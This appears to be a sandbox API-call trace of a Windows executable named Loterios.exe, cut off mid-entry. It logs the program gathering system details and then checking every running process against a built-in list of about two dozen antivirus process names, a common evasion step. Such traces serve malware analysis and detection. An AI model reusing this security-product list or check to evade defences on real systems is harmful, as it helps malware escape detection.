9 [0236.468] lstrlenW (lpString="C:\\BlotRots\\Loterios.exe") returned 24 [0236.468] lstrcpynW (in: lpString1=0x410f38, lpString2="C:\\BlotRots", iMaxLength=261 | out: lpString1="C:\\BlotRots") returned="C:\\BlotRots" [0236.468] lstrcatW (in: lpString1="C:\\BlotRots", lpString2="\\" | out: lpString1="C:\\BlotRots\\") returned="C:\\BlotRots\\" [0236.468] lstrcatW (in: lpString1="C:\\BlotRots\\", lpString2="Loterios" | out: lpString1="C:\\BlotRots\\Loterios") returned="C:\\BlotRots\\Loterios" [0236.468] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f700 [0236.468] lstrcatW (in: lpString1="C:\\BlotRots\\Loterios", lpString2=".dat" | out: lpString1="C:\\BlotRots\\Loterios.dat") returned="C:\\BlotRots\\Loterios.dat" [0236.468] lstrlenA (lpString=".") returned 1 [0236.468] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0236.468] lstrlenA (lpString="user32.dll") returned 10 [0236.468] lstrlenA (lpString="user32.dll") returned 10 [0236.468] lstrlenA (lpString="user32.dll") returned 10 [0236.468] lstrlenA (lpString="user32.dll") returned 10 [0236.468] lstrlenA (lpString="user32.dll") returned 10 [0236.468] lstrlenA (lpString="user32.dll") returned 10 [0236.468] lstrlenA (lpString="user32.dll") returned 10 [0236.468] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="Loterios") returned 8 [0236.469] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1b) returned 0x261f700 [0236.469] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261f728 [0236.469] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="1234567890") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="1234567890") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="1234567890") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="1234567890") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="1234567890") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="1234567890") returned 10 [0236.469] lstrlenA (lpString="user32.dll") returned 10 [0236.469] lstrlenA (lpString="abcdefghijklmnopqrstuvwxyz") returned 26 [0236.469] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0236.469] lstrlenA (lpString="1234567890") returned 10 [0236.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0236.470] GetCurrentProcess () returned 0xffffffff [0236.470] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19f304 | out: TokenHandle=0x19f304*=0x28c) returned 1 [0236.470] GetTokenInformation (in: TokenHandle=0x28c, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f2dc | out: TokenInformation=0x0, ReturnLength=0x19f2dc) returned 0 [0236.470] GetLastError () returned 0x7a [0236.470] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x261f700 [0236.470] GetTokenInformation (in: TokenHandle=0x28c, TokenInformationClass=0x19, TokenInformation=0x261f700, TokenInformationLength=0x14, ReturnLength=0x19f2fc | out: TokenInformation=0x261f700, ReturnLength=0x19f2fc) returned 1 [0236.470] GetSidSubAuthorityCount (pSid=0x261f708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x261f709 [0236.470] GetSidSubAuthority (pSid=0x261f708*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x261f710 [0236.470] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0236.470] CloseHandle (hObject=0x28c) returned 1 [0236.470] GetVersionExA (in: lpVersionInformation=0x4108e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x4108e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0236.470] GetModuleHandleA (lpModuleName="kernel32") returned 0x74560000 [0236.470] GetProcAddress (hModule=0x74560000, lpProcName="IsWow64Process") returned 0x74575a20 [0236.470] GetCurrentProcess () returned 0xffffffff [0236.470] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19ff48 | out: Wow64Process=0x19ff48) returned 1 [0236.470] GetWindowsDirectoryW (in: lpBuffer=0x411b1c, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0236.470] GetEnvironmentVariableW (in: lpName="SystemRoot", lpBuffer=0x19fce4, nSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0236.470] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x411f30, nSize=0x209 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0236.470] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x411d26, nSize=0x20a | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0236.470] GetEnvironmentVariableA (in: lpName="SystemDrive", lpBuffer=0x19fef0, nSize=0x3f | out: lpBuffer="C:") returned 0x2 [0236.471] GetComputerNameW (in: lpBuffer=0x41249c, nSize=0x19ff48 | out: lpBuffer="NQDPDE", nSize=0x19ff48) returned 1 [0236.471] lstrlenA (lpString="zxkyvc810337") returned 12 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.471] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] lstrlenA (lpString="user32.dll") returned 10 [0236.472] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f700 [0236.472] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0236.472] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x4) returned 0x261f718 [0236.472] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f728 [0236.472] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0236.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x26) returned 0x261f740 [0236.473] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f700 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f770 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f788 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f7a0 [0236.473] lstrlenA (lpString="avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe") returned 37 [0236.473] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f740 | out: hHeap=0x25a0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f740 [0236.473] lstrlenA (lpString="MsMpEng.exe") returned 11 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x4) returned 0x261f758 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f7b8 [0236.473] lstrlenA (lpString="MsMpEng.exe") returned 11 [0236.473] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f740 | out: hHeap=0x25a0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f740 [0236.473] lstrlenA (lpString="mcshield.exe") returned 12 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x4) returned 0x261f7d0 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f7e0 [0236.473] lstrlenA (lpString="mcshield.exe") returned 12 [0236.473] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f740 | out: hHeap=0x25a0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x261f7f8 [0236.473] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f740 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f818 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f828 [0236.473] lstrlenA (lpString="avp.exe;kavtray.exe") returned 19 [0236.473] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7f8 | out: hHeap=0x25a0000) returned 1 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f7f8 [0236.473] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f840 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f850 [0236.473] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f868 [0236.473] lstrlenA (lpString="egui.exe;ekrn.exe") returned 17 [0236.474] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7f8 | out: hHeap=0x25a0000) returned 1 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x25) returned 0x261f880 [0236.474] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f7f8 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f8b0 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261f8c8 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f8e0 [0236.474] lstrlenA (lpString="bdagent.exe;vsserv.exe;vsservppl.exe") returned 36 [0236.474] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f880 | out: hHeap=0x25a0000) returned 1 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f880 [0236.474] lstrlenA (lpString="AvastSvc.exe") returned 12 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x4) returned 0x261f898 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f8f8 [0236.474] lstrlenA (lpString="AvastSvc.exe") returned 12 [0236.474] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f880 | out: hHeap=0x25a0000) returned 1 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x2f) returned 0x261f910 [0236.474] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f880 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f948 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f968 [0236.474] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261f980 [0236.475] lstrlenA (lpString="coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe") returned 46 [0236.475] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f910 | out: hHeap=0x25a0000) returned 1 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x23) returned 0x261f910 [0236.475] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f998 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x14) returned 0x261f9a8 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fba0 [0236.475] lstrlenA (lpString="SAVAdminService.exe;SavService.exe") returned 34 [0236.475] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f910 | out: hHeap=0x25a0000) returned 1 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261faf8 [0236.475] lstrlenA (lpString="fshoster32.exe") returned 14 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x4) returned 0x261ffd0 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb88 [0236.475] lstrlenA (lpString="fshoster32.exe") returned 14 [0236.475] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa20 [0236.475] lstrlenA (lpString="WRSA.exe") returned 8 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x4) returned 0x261f910 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261faf8 [0236.475] lstrlenA (lpString="WRSA.exe") returned 8 [0236.475] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x22) returned 0x25a6b18 [0236.475] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb40 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb10 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fa20 [0236.475] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fae0 [0236.476] lstrlenA (lpString="vkise.exe;isesrv.exe;cmdagent.exe") returned 33 [0236.476] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6b18 | out: hHeap=0x25a0000) returned 1 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fbb8 [0236.476] lstrlenA (lpString="ByteFence.exe") returned 13 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x4) returned 0x261f920 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f9f0 [0236.476] lstrlenA (lpString="ByteFence.exe") returned 13 [0236.476] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1c) returned 0x25a6b18 [0236.476] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f930 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa80 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa98 [0236.476] lstrlenA (lpString="MBAMService.exe;mbamgui.exe") returned 27 [0236.476] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a6b18 | out: hHeap=0x25a0000) returned 1 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb70 [0236.476] lstrlenA (lpString="fmon.exe") returned 8 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x4) returned 0x25a6b18 [0236.476] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fab0 [0236.476] lstrlenA (lpString="fmon.exe") returned 8 [0236.476] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0236.477] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c [0236.488] Process32First (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0236.488] lstrcmpiA (lpString1="[System Process]", lpString2="ccSvcHst.exe") returned -1 [0236.488] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrvx.exe") returned -1 [0236.488] lstrcmpiA (lpString1="[System Process]", lpString2="avgsvcx.exe") returned -1 [0236.488] lstrcmpiA (lpString1="[System Process]", lpString2="avgcsrva.exe") returned -1 [0236.488] lstrcmpiA (lpString1="[System Process]", lpString2="MsMpEng.exe") returned -1 [0236.488] lstrcmpiA (lpString1="[System Process]", lpString2="mcshield.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="avp.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="kavtray.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="egui.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="ekrn.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="bdagent.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="vsserv.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="vsservppl.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="AvastSvc.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="coreServiceShell.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="PccNTMon.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="NTRTScan.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="SAVAdminService.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="SavService.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="fshoster32.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="WRSA.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="vkise.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="isesrv.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="cmdagent.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="ByteFence.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="MBAMService.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="mbamgui.exe") returned -1 [0236.489] lstrcmpiA (lpString1="[System Process]", lpString2="fmon.exe") returned -1 [0236.489] Sleep (dwMilliseconds=0xa) [0236.508] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="ccSvcHst.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="avgcsrvx.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="avgsvcx.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="avgcsrva.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="MsMpEng.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="mcshield.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="avp.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="kavtray.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="egui.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="ekrn.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="bdagent.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="vsserv.exe") returned -1 [0236.509] lstrcmpiA (lpString1="System", lpString2="vsservppl.exe") returned -1 [0236.509] lstrcmpiA (lpString1="System", lpString2="AvastSvc.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="coreServiceShell.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="PccNTMon.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="NTRTScan.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="SAVAdminService.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="SavService.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="fshoster32.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="WRSA.exe") returned -1 [0236.509] lstrcmpiA (lpString1="System", lpString2="vkise.exe") returned -1 [0236.509] lstrcmpiA (lpString1="System", lpString2="isesrv.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="cmdagent.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="ByteFence.exe") returned 1 [0236.509] lstrcmpiA (lpString1="System", lpString2="MBAMService.exe") returned 1 [0236.510] lstrcmpiA (lpString1="System", lpString2="mbamgui.exe") returned 1 [0236.510] lstrcmpiA (lpString1="System", lpString2="fmon.exe") returned 1 [0236.510] Sleep (dwMilliseconds=0xa) [0236.523] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="ccSvcHst.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrvx.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="avgsvcx.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="avgcsrva.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="MsMpEng.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="mcshield.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="avp.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="kavtray.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="egui.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="ekrn.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="bdagent.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="vsserv.exe") returned -1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="vsservppl.exe") returned -1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="AvastSvc.exe") returned 1 [0236.524] lstrcmpiA (lpString1="smss.exe", lpString2="coreServiceShell.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="PccNTMon.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="NTRTScan.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="SAVAdminService.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="SavService.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="fshoster32.exe") returned 1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="WRSA.exe") returned -1 [0236.525] lstrcmpiA (lpString1="smss.exe", lpString2="vkise.exe") returned -1 [0236.525] 